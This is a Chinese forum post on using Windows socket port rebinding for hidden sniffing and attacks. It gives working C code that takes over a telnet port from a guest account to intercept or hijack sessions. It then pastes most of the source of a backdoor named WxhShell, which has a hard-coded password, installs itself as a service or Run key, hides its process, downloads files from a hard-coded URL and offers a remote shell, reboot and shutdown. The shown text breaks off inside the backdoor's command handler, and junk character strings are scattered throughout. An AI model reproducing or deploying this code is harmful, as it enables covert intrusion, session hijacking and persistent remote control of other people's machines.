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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >f)/z$ qn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^na8d's:  
]?KTw8j}  
  saddr.sin_family = AF_INET; MR4e.+#E  
}/)vOUcEd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^3~+|A98M  
2J7= O^$?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bm/pLC6%.  
;QYUiR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0_nY70B  
Pn?Ujjv  
  这意味着什么?意味着可以进行如下的攻击: *B<Ig^c  
7oUecyoj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kp F")0qr  
R`M>w MLH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &n6'r^[D  
i;:gBNmo=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5Bwr\]%$P  
/~sNx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A'A5.\UN  
&lbZTY}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^eF%4DUC;  
War<a#0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bUv}({  
yg}zK>j^vC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ug :3)q[O  
_FpZc ?=  
  #include jhRg47A  
  #include R#"LP7\  
  #include RLy2d'DS  
  #include    0}LB nV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~!V5Ug_2  
  int main() =f48[=  
  { >WYiOXYv  
  WORD wVersionRequested; 6t zUp/O  
  DWORD ret; ^a>3U l{  
  WSADATA wsaData; eXs^YPi  
  BOOL val; U%.%:'eV=  
  SOCKADDR_IN saddr; h=?V)WSM  
  SOCKADDR_IN scaddr; g5",jTn#  
  int err; tO?NbWcp  
  SOCKET s; fEv`iXZG  
  SOCKET sc; 31VDlcn E  
  int caddsize; tW^oa  
  HANDLE mt; gu1:%raXd  
  DWORD tid;   WFr;z*  
  wVersionRequested = MAKEWORD( 2, 2 ); F!k3/z  
  err = WSAStartup( wVersionRequested, &wsaData ); &^q!,7.J  
  if ( err != 0 ) { c:*[HO\  
  printf("error!WSAStartup failed!\n"); [ADSGnw  
  return -1; 9_=0:GH k  
  } aNt+;M7g`  
  saddr.sin_family = AF_INET; p :v'"A}  
   dM-qd`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 egXHp<bqw  
`EBI$;!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !xE /  
  saddr.sin_port = htons(23); _cRCG1CJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TTYM!+T  
  { X mmb^2I  
  printf("error!socket failed!\n"); ,(&p "O":  
  return -1; wOMrUWB0  
  } Tasmbo^mAF  
  val = TRUE; VtTTvP3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ym% $!#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Oc,E\~  
  { ?&gqGU}  
  printf("error!setsockopt failed!\n"); 3p+V~n.+  
  return -1; RJpRsr  
  } zh.^> `   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y 4 wV]1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "V= IG{.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I ~U1vtgp  
kVmR v.zZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9V'ok.B.x  
  { Ri   
  ret=GetLastError(); #oYPe:8|m  
  printf("error!bind failed!\n"); Hto RN^9  
  return -1; bHKTCPf  
  } m}-*B1  
  listen(s,2); S3?Bl'  
  while(1) ]NEr]sc-"F  
  { cD%_+@GaU  
  caddsize = sizeof(scaddr); VYR<x QA  
  //接受连接请求 0I v(ioB=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `i2:@?Kl9  
  if(sc!=INVALID_SOCKET) .S_7R/2(?  
  { VxP cC+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t6,bA1*5y  
  if(mt==NULL) cko^_V&x  
  { wB(X(nr  
  printf("Thread Creat Failed!\n"); IgmCZ?l&0  
  break; |&oTxx$S  
  } !=3Ce3-  
  } w *pTK +  
  CloseHandle(mt); sBq-"YcjR  
  } '5)PYjMnH  
  closesocket(s); m{w'&\T  
  WSACleanup(); sk%Xf,  
  return 0; 69"4/n7B?  
  }   XsEo tW  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3LkcK1x.  
  { De-hHY{>  
  SOCKET ss = (SOCKET)lpParam; o*t4zF&n  
  SOCKET sc; V+$^4Ht  
  unsigned char buf[4096]; im&Nkk4n@  
  SOCKADDR_IN saddr; )ep1`n-  
  long num; QM) ob  
  DWORD val;  5(\H:g\z  
  DWORD ret; mx!EuF$I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8}?w i[T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '% if< /  
  saddr.sin_family = AF_INET; /prR;'ks  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w7%.EA{N  
  saddr.sin_port = htons(23); <-h[I&."  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {y%|Io`P  
  { 1a]P+-@u[  
  printf("error!socket failed!\n"); J*Q+$Ai~  
  return -1; %Q080Ltet  
  } Q$*JkwPQ}  
  val = 100; *UZd !a)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <\'aUfF v  
  { QPyHos `  
  ret = GetLastError(); dJ 9v/k_  
  return -1; .WVIdVO7  
  } @$|8zPs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "(YfvO+  
  { #z5$_z?_  
  ret = GetLastError(); so>jz@!EE  
  return -1; ]@6L,+W"  
  } 8~}~ d}wW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }rQ0*h  
  { JKF/z@Vbe\  
  printf("error!socket connect failed!\n"); "!9FJ Y  
  closesocket(sc); U1)!X@F{  
  closesocket(ss); =&"a:l  
  return -1; ,ll<0Atg  
  } bIXD(5y  
  while(1) w+Y_TJ%  
  { dAr=X4LE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 { V$}qa{P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H1d2WNr[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *AG01# ZF  
  num = recv(ss,buf,4096,0); J(Fk@{!F.*  
  if(num>0) C({r1l4[D  
  send(sc,buf,num,0); hEA;5-m  
  else if(num==0) .3CQFbHF  
  break; `$Y%c1;  
  num = recv(sc,buf,4096,0); (-Qr.t_B`  
  if(num>0) Rr0]~2R  
  send(ss,buf,num,0); O& 1z-  
  else if(num==0) 8wLGmv^  
  break; j 6dlAe  
  } Se.qft?D%(  
  closesocket(ss); r@c!M|m@  
  closesocket(sc); +TC##}Zmb  
  return 0 ; Hbl&)!I  
  } .1f!w!ltVR  
7po;*?Ox  
tI<6TE'!p#  
========================================================== N *,[(q  
bH g 0,N  
下边附上一个代码,,WXhSHELL %F87"v~  
xQ! Va  
========================================================== ZfibHivz  
pN{XGkX.  
#include "stdafx.h" ]$!7;P  
w :9M6+mM^  
#include <stdio.h> ge]Z5E(1  
#include <string.h> tP89gN^PA|  
#include <windows.h> }\QXPU{UVd  
#include <winsock2.h> Gce[RB:  
#include <winsvc.h> qGi\*sc>x  
#include <urlmon.h> 0E7h+]bh|  
t9r R>Y9  
#pragma comment (lib, "Ws2_32.lib") r2\ }_pIj  
#pragma comment (lib, "urlmon.lib") Z~K} @  
\rY\wa  
#define MAX_USER   100 // 最大客户端连接数 2S//5@~_m  
#define BUF_SOCK   200 // sock buffer E%?> %h  
#define KEY_BUFF   255 // 输入 buffer Xdh@ ^`  
;;N#'.xD  
#define REBOOT     0   // 重启 +4F; m_G6  
#define SHUTDOWN   1   // 关机 _^D-nk?  
F$S/zh$)0  
#define DEF_PORT   5000 // 监听端口 y]g5S-G  
[W99}bi$  
#define REG_LEN     16   // 注册表键长度 g,B@*2Uj  
#define SVC_LEN     80   // NT服务名长度 } x Kv N  
@QDUz>_y  
// 从dll定义API SC--jhDZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  USJ4Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8l<~zIoO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;?Q0mXr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f\z9?Z(~  
v}=pxWhm  
// wxhshell配置信息 S[CWrPaDQ  
struct WSCFG { >:OP+Vc  
  int ws_port;         // 监听端口 AMN`bgxW  
  char ws_passstr[REG_LEN]; // 口令 P]7s1kgaS  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZU`HaL$  
  char ws_regname[REG_LEN]; // 注册表键名 AD >/#Ul  
  char ws_svcname[REG_LEN]; // 服务名 9hgIQl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s>=$E~qq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f[q_eY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (`<B#D;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nv3TxG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?4t~z 1.f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ch]q:o4  
<bJ~Ol  
}; ]UrlFiR  
}OSfC~5P  
// default Wxhshell configuration G+WCE*  
struct WSCFG wscfg={DEF_PORT, X^C $|:  
    "xuhuanlingzhe", z'zC  
    1, r#d]"3tH  
    "Wxhshell", Xy9'JVV6  
    "Wxhshell", 7'5/T]Z  
            "WxhShell Service", U+ uIuhz  
    "Wrsky Windows CmdShell Service", OA7=kH@3c  
    "Please Input Your Password: ", %5;kNeD\Fq  
  1, )+.AgqxI  
  "http://www.wrsky.com/wxhshell.exe", "WqM<kLa  
  "Wxhshell.exe" qz 29f  
    }; hDbZ62DDN  
1?r$Rx<R  
// 消息定义模块 |[!0ry*N%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xRF_'|e  
char *msg_ws_prompt="\n\r? for help\n\r#>";  <JZa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yCv"(fNQ  
char *msg_ws_ext="\n\rExit."; FWo`oJeN  
char *msg_ws_end="\n\rQuit."; &A^2hPe}  
char *msg_ws_boot="\n\rReboot..."; V{{UsEVO  
char *msg_ws_poff="\n\rShutdown..."; WX+@<y}%  
char *msg_ws_down="\n\rSave to "; t5QGXj  
x!onan  
char *msg_ws_err="\n\rErr!"; .>'J ^^  
char *msg_ws_ok="\n\rOK!"; r?x~`C  
z=LO$,JW`  
char ExeFile[MAX_PATH]; '=IuwCB|;  
int nUser = 0; G+iJS!=  
HANDLE handles[MAX_USER]; B,Jn.YX  
int OsIsNt; [ <Q{  
V.[b${  
SERVICE_STATUS       serviceStatus; `~@}f"c`u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }J=zO8OL  
qt%/0  
// 函数声明 [{J1b  
int Install(void); &jDRRT3  
int Uninstall(void); T{T> S%17~  
int DownloadFile(char *sURL, SOCKET wsh); 1'5 !")r  
int Boot(int flag); hflDVGBW  
void HideProc(void); +7K]5p;!~  
int GetOsVer(void); Uzk_ae  
int Wxhshell(SOCKET wsl); cr{dl\ Na  
void TalkWithClient(void *cs); p-/}@r3Z+  
int CmdShell(SOCKET sock); 2aQ}| `  
int StartFromService(void); CzT_$v_  
int StartWxhshell(LPSTR lpCmdLine); Vb2")+*:  
*c@]c~hY,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cH7D@p}  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ^9kdd[  
J1Y3>40  
// 数据结构和表定义 NO#^_N`#\  
SERVICE_TABLE_ENTRY DispatchTable[] = GF Rd:e  
{ ||?wRMV  
{wscfg.ws_svcname, NTServiceMain}, ,qlFk|A|  
{NULL, NULL} tWdP5vfp  
}; QpifO  
fVBRP[,   
// 自我安装 I3?:KVa  
int Install(void) (yz8}L3  
{ OZh+x`' #  
  char svExeFile[MAX_PATH]; Xg97[I8/  
  HKEY key; zdDJcdbGd1  
  strcpy(svExeFile,ExeFile); !?)iP  
J~G"D-l<9/  
// 如果是win9x系统,修改注册表设为自启动 +z\O"zlj  
if(!OsIsNt) { .]Z,O>N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {c$%3iQq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B Zw#ACU  
  RegCloseKey(key); _d<\@Tkw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [g*]u3s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u"a$/  
  RegCloseKey(key); ;D<rGkry  
  return 0; NPR{g!tK%  
    } !!t@ H\  
  } 7h/{F({r=  
} o=(>#iVM  
else { ]9pcDZB  
k4nA+k<WI`  
// 如果是NT以上系统,安装为系统服务 #kGxX@0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8%9OB5?F6  
if (schSCManager!=0) |zL.PS  
{ |&%l @X 6  
  SC_HANDLE schService = CreateService "i*Gi \U  
  ( k4 %> F  
  schSCManager, >:P3j<xTv  
  wscfg.ws_svcname, RwwX;I"o%  
  wscfg.ws_svcdisp, :Zd# }P  
  SERVICE_ALL_ACCESS, ^SRa!8z$W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1vxh3KS.  
  SERVICE_AUTO_START, Yui:=GgUrr  
  SERVICE_ERROR_NORMAL, <`m.Vbvm"  
  svExeFile, dUJNr_  
  NULL, g@"6QAP  
  NULL, h Tn^:%(  
  NULL, )O%lh 8fI  
  NULL, Qs{Qg<}  
  NULL 9P)<CD0  
  ); 2=NYBOE  
  if (schService!=0)  Q-&]Vg  
  { _mL9G5~r  
  CloseServiceHandle(schService); PX'I:B]x*  
  CloseServiceHandle(schSCManager); (jYs_8;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L=}UApK  
  strcat(svExeFile,wscfg.ws_svcname); +=@Z5eu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `ionMTZY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P-`^I`r  
  RegCloseKey(key); osX23T~-  
  return 0; _.06^5o  
    } F]?$Q'U  
  } w } 2|Do$5  
  CloseServiceHandle(schSCManager); 7"JU)@ U]  
} U>x2'B v  
} C5RDP~au  
uf)W? `e~  
return 1; = -pss 47  
} JnY3]  
:7>Si%  
// 自我卸载 1y"37;x  
int Uninstall(void) cuk2\> Xl  
{ 7<^D7  
  HKEY key; KwQO,($,]  
|2 wff?  
if(!OsIsNt) { xD?{Hw>QT#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /9w}[y*E  
  RegDeleteValue(key,wscfg.ws_regname); |H_)u  
  RegCloseKey(key); _ zmx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d8RpL{9\7  
  RegDeleteValue(key,wscfg.ws_regname); p go\(K0  
  RegCloseKey(key); 8rp-Xi W  
  return 0; iK %Rq  
  } X0Oq lAw  
} r IK|}5  
} ZJ[ Uz_%W  
else { OEwfNZQ-  
*E)Y?9u"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F<(x z=  
if (schSCManager!=0) .DvAX(2v  
{ -6tF   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f|^f^Hu:{  
  if (schService!=0) }Rux<=cd|  
  { t2Y~MyT/  
  if(DeleteService(schService)!=0) { |b3/63Ri-0  
  CloseServiceHandle(schService); usTCn3u  
  CloseServiceHandle(schSCManager); V!<#E)-?<  
  return 0; l*:p==  
  } S8)awTA9  
  CloseServiceHandle(schService);  B-gr2-  
  } 3MzY]J y(  
  CloseServiceHandle(schSCManager); &s<  
} [sk"2  
} _gGy(`  
? sewU9*  
return 1; L2h+[f  
} `( a^=e5  
U;q)01  
// 从指定url下载文件 5~"=Fm<uD  
int DownloadFile(char *sURL, SOCKET wsh)  zm.2L  
{ 86I*  
  HRESULT hr; Hf-F-~E  
char seps[]= "/"; %ej"ZeM  
char *token; `WW0~Tp3  
char *file; }I`|*6Up  
char myURL[MAX_PATH]; 8say"Qz  
char myFILE[MAX_PATH]; Q8~pIv  
q%vUEQLBp  
strcpy(myURL,sURL); N+V-V-PVk  
  token=strtok(myURL,seps); ,/ : )FV  
  while(token!=NULL) t3XMQ']  
  { zLn#p]  
    file=token; nz',Zm},  
  token=strtok(NULL,seps); n{yjH*\Z  
  } *sG<w%%  
-/qrEKQ0U?  
GetCurrentDirectory(MAX_PATH,myFILE); FT enXJ/c  
strcat(myFILE, "\\"); dCK -"#T!  
strcat(myFILE, file); HY:@=%R  
  send(wsh,myFILE,strlen(myFILE),0); ZF/KV\Ag)  
send(wsh,"...",3,0); .eAC!R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e4b~s  
  if(hr==S_OK) Ja&%J:  
return 0; NE4fQi?3  
else W*m[t&;  
return 1; tVcs r  
bcs!4  
} y b G)=0  
!T{g& f  
// 系统电源模块 Z%R%D*f@y  
int Boot(int flag) <<1oc{i  
{ =KZ4:d5  
  HANDLE hToken; Vel;t<1  
  TOKEN_PRIVILEGES tkp; u@E M,o  
{EUH#':  
  if(OsIsNt) { D.6dPzu`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xVyUUzXs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); | <*(`\ 'w  
    tkp.PrivilegeCount = 1; A!kyga6F5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D+3Y.r 9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aVYUk7_<  
if(flag==REBOOT) { ,H?p9L; qp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jb2:O,+!  
  return 0; {\&"I|dpe  
} f)x}_dw%  
else { zOOX>3^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iFA"m;$  
  return 0; *La =7y:  
} S8RB0^Q7  
  } &3f.78a  
  else { jQ)>XOok  
if(flag==REBOOT) { 5!zvoX9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \G@6jn1G(  
  return 0; SA1/U  
} G~L?q~b  
else { 0d ->$gb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sriz b  
  return 0; JY+[  
} srLr~^$j[  
} 72zuI4&  
A%1=6  
return 1; MGz F+ln^U  
} V2,WP  
C#&6p0U  
// win9x进程隐藏模块 u&xK>7  
void HideProc(void) ([-=NT}Aq  
{ ,<^HB+{Wo  
ha=z<Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); => =x0gsgj  
  if ( hKernel != NULL ) ,`zRlkX  
  { i)i)3K2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ekme62Q>u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wt fOE@h  
    FreeLibrary(hKernel); jPNfLwVkl:  
  } N08n/u&cr,  
P{!:pxu[  
return; fNPj8\#V,  
} EiN)TB^]  
F^z8+W  
// 获取操作系统版本 i t@}dZ  
int GetOsVer(void) dt+  4$  
{ &R*5;/ !  
  OSVERSIONINFO winfo; b,R'T+4[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5]l7Z35  
  GetVersionEx(&winfo); #cG479X"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [B3aRi0AQ  
  return 1; BpG'e-2  
  else FT>~ES]cQd  
  return 0; TrU@mYnE  
} je4&'vyU  
D!a5#+\C  
// 客户端句柄模块 q{/Jw"e  
int Wxhshell(SOCKET wsl) 5Y=\~,%\oH  
{ Gc!8v}[7J  
  SOCKET wsh; s;7qNwYO  
  struct sockaddr_in client; %*c|[7Z~V  
  DWORD myID; (iOCzZ6S  
/^ 3oq]  
  while(nUser<MAX_USER) -Q PWi2:k  
{ u7&'3ef  
  int nSize=sizeof(client); 5MY}(w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;nKHm  
  if(wsh==INVALID_SOCKET) return 1; B8AzN9v&"N  
F ssEs!#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #pQ"+X  
if(handles[nUser]==0) Df~p 'N-$  
  closesocket(wsh); (Q8 ?)  
else .l=*R7~EU  
  nUser++; Z/= %J3f  
  } LDEW00zL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `uZv9I"  
+c8AbEewg  
  return 0; ,/`E|eG1G  
} C!{AnWf  
NS4'IR=;E!  
// 关闭 socket | 58 !A]  
void CloseIt(SOCKET wsh) _*ou o<x  
{ NTXL>Q*e  
closesocket(wsh); nH>V Da  
nUser--; uy _i{Y|  
ExitThread(0); &s^>S? L-  
} rgdQR^!l6  
Eu/y">;v#  
// 客户端请求句柄 72ViPWW  
void TalkWithClient(void *cs) Cz@FZb8  
{ TDFO9%2c  
^b!7R <>~  
  SOCKET wsh=(SOCKET)cs; mH*@d"  
  char pwd[SVC_LEN]; 2Uv3_i<  
  char cmd[KEY_BUFF]; (vAv^A*i}  
char chr[1]; Ivt} o_b*  
int i,j; L> Oy7w)Y  
gJ5wAK+?  
  while (nUser < MAX_USER) { )@bH"  
+#qt^NO  
if(wscfg.ws_passstr) { Bf:tal6 -M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9;]wF8h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Z6-R}uXk  
  //ZeroMemory(pwd,KEY_BUFF); MkW1FjdP  
      i=0; ,+/9K)X  
  while(i<SVC_LEN) { [Ba2b: l6v  
W `u$7k]$  
  // 设置超时 { LT4u ]#  
  fd_set FdRead; _TOi [G T  
  struct timeval TimeOut; y,v0-o~q  
  FD_ZERO(&FdRead); <L/M`(:=k  
  FD_SET(wsh,&FdRead); XK%W^a*x  
  TimeOut.tv_sec=8; }or2 $\>m  
  TimeOut.tv_usec=0; L+L"$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,V33v<|wc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J7ktfyQ0W  
`xX4!^0Hm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xvu)  
  pwd=chr[0]; P 0Efh?oZ  
  if(chr[0]==0xd || chr[0]==0xa) { Y$x"4=~  
  pwd=0; VXkAFgO  
  break; KIKq9*  
  } nEd M_JPv  
  i++; u*26>.  
    } ]CIQq1iY  
Ep<!zO|  
  // 如果是非法用户,关闭 socket QP$nDK<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s`#ntset0  
} 4\1wyN /}M  
b ~/Wnp5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AJ\VY;m7F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D(qHf9  
P(pd0,%i;a  
while(1) { ]HyHz9QkL  
W1?!iE~tO  
  ZeroMemory(cmd,KEY_BUFF); 2 {mY:\  
|I}A> XG  
      // 自动支持客户端 telnet标准   ?-8y4 Ex  
  j=0; "J P{Q  
  while(j<KEY_BUFF) { >HcYVp~G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TwM1M["3  
  cmd[j]=chr[0]; ,b6kTQq  
  if(chr[0]==0xa || chr[0]==0xd) { tg7C;rJ  
  cmd[j]=0; {5QosC+o6Q  
  break; H}h~~7E  
  } 0 OAqA?Z  
  j++; YER:ICQ  
    } ZI58XS+  
DYo<5^0  
  // 下载文件 wi\z>'R  
  if(strstr(cmd,"http://")) { Y_[g_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 068WlF cWV  
  if(DownloadFile(cmd,wsh)) oUQGLl!V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;'=VrE6  
  else X2 \E9hJg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X)Dqeb6  
  } DC|xilP1O  
  else { 9m\)\/V  
S9G8aea/  
    switch(cmd[0]) { BgJkrv7~  
  m x3}m?WQ  
  // 帮助 [as-3&5S  
  case '?': { oMh~5 W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0\5M^:8i3  
    break; g|ql 5jW  
  } FNz84qVIx'  
  // 安装 .-.q3ib  
  case 'i': { j7@!J7S  
    if(Install()) ljup#:n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nU} ~I)@V  
    else CV!;oB&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OM20-KDc5  
    break; qs!>tw  
    } kF+ZW%6N  
  // 卸载 ra]!4Kd'  
  case 'r': { iD%qy/I/  
    if(Uninstall()) '"` Lv/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tCZpfZ@+=  
    else D3%l4.h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T@(6hEmP,  
    break; LKqRvPnh  
    } cJP'ShnCh  
  // 显示 wxhshell 所在路径 xik`W!1S  
  case 'p': { <9@&oN+T  
    char svExeFile[MAX_PATH]; "0|BoG  
    strcpy(svExeFile,"\n\r"); m9#}X_&x  
      strcat(svExeFile,ExeFile); X,>(Y8  
        send(wsh,svExeFile,strlen(svExeFile),0); U:qF/%w  
    break; ?N4A9W9  
    } {B@*DQv  
  // 重启 .=Pm>o/,  
  case 'b': { UUl*f!& o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jEZ "  
    if(Boot(REBOOT)) &nQRa?3,   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYjf5  
    else { s,84*6u  
    closesocket(wsh); 4$%`Qh>yA  
    ExitThread(0); 65lOX$*{-  
    }  pz$_W  
    break; -{!&/;Z  
    } pAEN XC\,  
  // 关机 mH'\:oN  
  case 'd': { G-2EQ.  
